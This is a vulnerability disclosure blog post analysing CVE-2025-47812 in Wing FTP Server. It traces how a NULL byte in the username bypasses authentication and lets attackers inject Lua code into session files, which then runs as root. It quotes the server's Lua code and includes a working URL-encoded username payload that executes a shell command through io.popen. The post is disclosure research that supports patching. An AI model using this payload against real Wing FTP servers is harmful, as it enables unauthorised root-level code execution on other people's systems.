What the NULL?! Wing FTP Server RCE (CVE-2025-47812)

What the NULL?! Wing FTP Server RCE (CVE-2025-47812)

While performing a penetration test for one of our Continuous Penetration Testing customers, we’ve found a Wing FTP server instance that allowed anonymous connections. It was almost the only interesting thing exposed, but we still wanted to get a foothold into their perimeter and provide the customer with an impactful finding. So we unboxed our Binary Ninja and started digging. Spoiler: We ended up getting remote code execution as root.

Good Old Anonymous!

So we came across Wing FTP’s web interface that apparently allowed anonymous logins. In the case of Wing FTP, the anonymous user on the web interface is the same as used in the FTP protocol.

What the NULL?! Wing FTP Server RCE (CVE-2025-47812) 13

After authentication (well, anonymous connections can be considered unauthenticated since it doesn’t require any password at all), we weren’t able to do much, apart from downloading some static public content. But great, we at least have read permissions. What you normally do in this situation is fuzzing for other user accounts that might have a weaker, easy to guess password. However, we weren’t super lucky since all of them simply returned a “Login failed” error message:

What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
What the NULL?! Wing FTP Server RCE (CVE-2025-47812) 14

We almost gave up, until we noticed a particularly interesting pattern:

What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
What the NULL?! Wing FTP Server RCE (CVE-2025-47812) 15

So appending a NULL byte to the username followed by any random string doesn’t seem to trigger an authentication failure, which is what you’d expect normally. Instead, it seems to still successfully authenticate the user. Besides the missing error message, the other indicator for a successful authentication is the UID cookie, which is Wing FTP’s primary authentication cookie for the user web interface. This triggered us quite hard, especially since this behaviour is observable across the entire web interface and even the administrative web interface.

Strlen() vs NULL

Exploring this black box is almost impossible, so we started setting up our Wing FTP server instance to debug what was going on, since it kind of smelled like there’s something juicy hidden here. When having a look at the loginok.html file which handles the authentication process, you’ll get the following code:

local username = _GET["username"] or _POST["username"] or ""
local password = _GET["password"] or _POST["password"] or ""
local remember = _GET["remember"] or _POST["remember"] or ""
local redir = _GET["redir"] or _POST["redir"] or ""
local lang = _GET["lang"] or _POST["lang"] or ""

username = string.gsub(username,"+"," ")
username = string.gsub(username,"t","+")
password = string.gsub(password,"+"," ")
password = string.gsub(password,"t","+")


local result = c_CheckUser(username,password)
if result ~= OK_CHECK_CONNECTION then
	c_AddWebLog("User '"..string.sub(username, 1, 64).."' login failed! (IP:".._REMOTE_IP..")","0",DOMAIN_LOG_WEB_RESPOND)
	print("")

So there isn’t a lot of filtering happening at all up to the point when we hit the c_CheckUser() call on line 13 which is supposed to verify the username/password combination. While debugging exactly this line, we noticed that c_CheckUser always returns OK_CHECK_CONNECTION regardless of what comes after the NULL byte in the username, as long as the string before the NULL byte matches an existing user. Since c_CheckUser() is implemented in the Wing FTP’s main binary wftpserver, we set up our remote debug server and attached our favourite debugger, Binary Ninja, to it to find out what was going on here. Here’s what we noticed:

Quite early in c_CheckUser(), the application fetches the username using a lua_tolstring call (which ignores the NULL-byte) and passes the resulting string to a CStdStr constructor:

What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
What the NULL?! Wing FTP Server RCE (CVE-2025-47812) 16

When tracing the constructor actions further down the line, we will eventually end up in a function called ssasn(std::string& arg1, char const* arg2) which will call std::string:assign on our username, which still has the NULL-byte included:

What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
What the NULL?! Wing FTP Server RCE (CVE-2025-47812) 17

Now std::string:assign internally uses strlen() on our username to get the string size, but strlen only counts all the characters until it reaches the NULL-byte terminator. This is why the RAX register contains 0x9 which is precisely the length of the username “anonymous”:

What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
What the NULL?! Wing FTP Server RCE (CVE-2025-47812) 18

This, in return, means that the CStdStr constructor will work with only the first part of the username string up to the NULL-byte that we have injected as part of the username. Since it only takes the first part, the call to CUserManager::CheckUser will also only work with the first part of the username, ultimately allowing us to pass the authentication check with any string as long as an existing username comes before the NULL byte:

What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
What the NULL?! Wing FTP Server RCE (CVE-2025-47812) 19

Why the heck is this interesting?!?

So, remember that c_CheckUser in the Lua code performs the authentication check: If we have a look a little further down the code in loginok.html to inspect how the sessions are generated, you’ll notice this:

local username = _GET["username"] or _POST["username"] or ""
local password = _GET["password"] or _POST["password"] or ""
local remember = _GET["remember"] or _POST["remember"] or ""
local redir = _GET["redir"] or _POST["redir"] or ""
local lang = _GET["lang"] or _POST["lang"] or ""

username = string.gsub(username,"+"," ")
username = string.gsub(username,"t","+")
password = string.gsub(password,"+"," ")
password = string.gsub(password,"t","+")


local result = c_CheckUser(username,password)
if result ~= OK_CHECK_CONNECTION then
	c_AddWebLog("User '"..string.sub(username, 1, 64).."' login failed! (IP:".._REMOTE_IP..")","0",DOMAIN_LOG_WEB_RESPOND)
	print("")
else
	if _COOKIE["UID"] ~= nil then
		_SESSION_ID = _COOKIE["UID"]
		local retval = SessionModule.load(_SESSION_ID)
		if retval == false then
			_SESSION_ID = SessionModule.new()
			if _UseSSL == true then
				_SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnly; Securern"
			else
				_SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnlyrn"
			end
			rawset(_COOKIE,"UID",_SESSION_ID)
		end
	else
		_SESSION_ID = SessionModule.new()
		if _UseSSL == true then
			_SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnly; Securern"
		else
			_SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnlyrn"
		end
		rawset(_COOKIE,"UID",_SESSION_ID)
	end

	if package.config:sub(1,1) == "\" then
		username = string.lower(username)
	end
	rawset(_SESSION,"username",username)
	rawset(_SESSION,"ipaddress",_REMOTE_IP)
	SessionModule.save(_SESSION_ID)

So what happens here is the application works with the username in the rawset() call on line 43 that is directly sourced from the GET or POST parameter on line 1. And this is the full username, including NULL byte and whatever comes after it. This is because c_CheckUser() does not return a sanitized username, but only the authentication state.

On line 45, the application then calls SessionModule.save() which is defined as follows:

function save (id)
	if not check_id (id) then
		return nil, INVALID_SESSION_ID
	end

	if isfolder(root_dir) == false then
		mkdir(root_dir)
		chmod(root_dir, "0600")
	end

	local fh = assert(_open(filename (id), "w+"))
	serialize(_SESSION, function (s) fh:write(s) end)
	fh:close()
	chmod(filename(id), "0600")
end

Here, the application creates a new session file on line 11, and afterwards serializes everything from _SESSION which includes our username into the session file. serialize() looks like this:

function serialize(tab,outf)
	if type(tab) == "table" then
		for k,v in pairs(tab) do
			if type(k) == "string" then k="'"..k.."'" end
			if(type(v) == "string") then
				outf("_SESSION["..k.."]=[["..v.."]]rn")
			elseif(type(v) == "number") then
				outf("_SESSION["..k.."]="..v.."rn")
			elseif(type(v) == "function") then
				outf("_SESSION["..k.."]="[function]"rn")
			elseif(type(v) == "nil") then
				outf("_SESSION["..k.."]=nilrn")
			else
				outf("_SESSION["..k.."]={")
				serialize(v,outf)
				outf("}rn")
			end
		end
	end
end

You might have an idea where this is leading to. But let’s have a closer look at those session files.

Lua Code Injection into Session Files

When you authenticate against the web interface with our NULL-byte injected username, the application creates a new session ID indicated by the UID session cookie:

What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
What the NULL?! Wing FTP Server RCE (CVE-2025-47812) 20

When having a look at the wftpserver/session directory, you can notice that these session files are essentially Lua script files. The intention of these is to store only session variables, but since the loginok.html file works with the entire string, the NULL byte gets actually stored in the Session variable as well:

What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
What the NULL?! Wing FTP Server RCE (CVE-2025-47812) 21

So what could possible go wrong with a username like this?

anonymous%00]]%0dlocal+h+%3d+io.popen("id")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--
What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
What the NULL?! Wing FTP Server RCE (CVE-2025-47812) 22

This injects Lua code into the session file (also: nano FTW):

What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
What the NULL?! Wing FTP Server RCE (CVE-2025-47812) 23

Triggering the Code Injection

We do have our injected Lua code in the session file, but how do we execute it? It is as easy as it sounds: the session file gets executed whenever it is used. The reason can be found in SessionModule.lua:

function load (id)
	if not check_id (id) then
		return false
	end

	local filepath = filename(id)
	if fileexist(filepath) then
		if filetime(filepath) + timeout < time() then
			remove(filepath)
			return false
		end

		local ipHash = string.sub(id, -32)
		if c_RestrictSessionIP() == true and ipHash ~= md5(_REMOTE_IP) then
			return false
		end

		if ipHash == "f528764d624db129b32c21fbca0cb8d6" and _REMOTE_IP ~= "127.0.0.1" then
			return false
		end

		local f, err = loadfile(filepath)
		if not f then
			return false
		else
			f()
			return true
		end

	end
end

If the session ID is valid, the session file is loaded on line 22 and directly executed on line 26. So after injecting the Lua code into the session file, whose name is essentially the value of the UID cookie, you only need to call any of the authenticated functionalities that are available through the Wing FTP web interface, such as reading the directory contents using the /dir.html endpoint:

What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
What the NULL?! Wing FTP Server RCE (CVE-2025-47812) 24

This gives us Remote Code Execution on the server. But it does not end here. As you can see in the screenshot, the code is executed using root-rights on Linux because wftpserver runs using root-level rights by default. There is no dropping of rights, no jailing, or sandboxing (see also CVE-2025-47811).

On a side note: the Windows version of Wing FTP server is started using NT AUTHORITY/SYSTEM rights by default, which is why you will end up with a SYSTEM rights RCE on Microsoft Windows.

At this point, we’ve achieved what we wanted: Going from an anonymous read-only account to full code execution as root. And just to clarify: this isn’t just exploitable using the Anonymous account, but with any user account.

A Couple of more (minor) Bugs Affecting Wing FTP Server

CVE-2025-27889: Link Injection Allowing to Steal Clear-Text Password

CVE-2025-47811: Overly Permissive Service running with Root/SYSTEM by default

CVE-2025-47813: Local Path Disclosure Through Overlong UID Cookie

You will find the respective security advisories in our GitHub repository.

Remediation

All reported bugs have been fixed in version 7.4.4 of Wing FTP, except for CVE-2025-47811, which the vendor thinks is fine to keep despite being the reason why we got full root access.

Stay curious.


Source link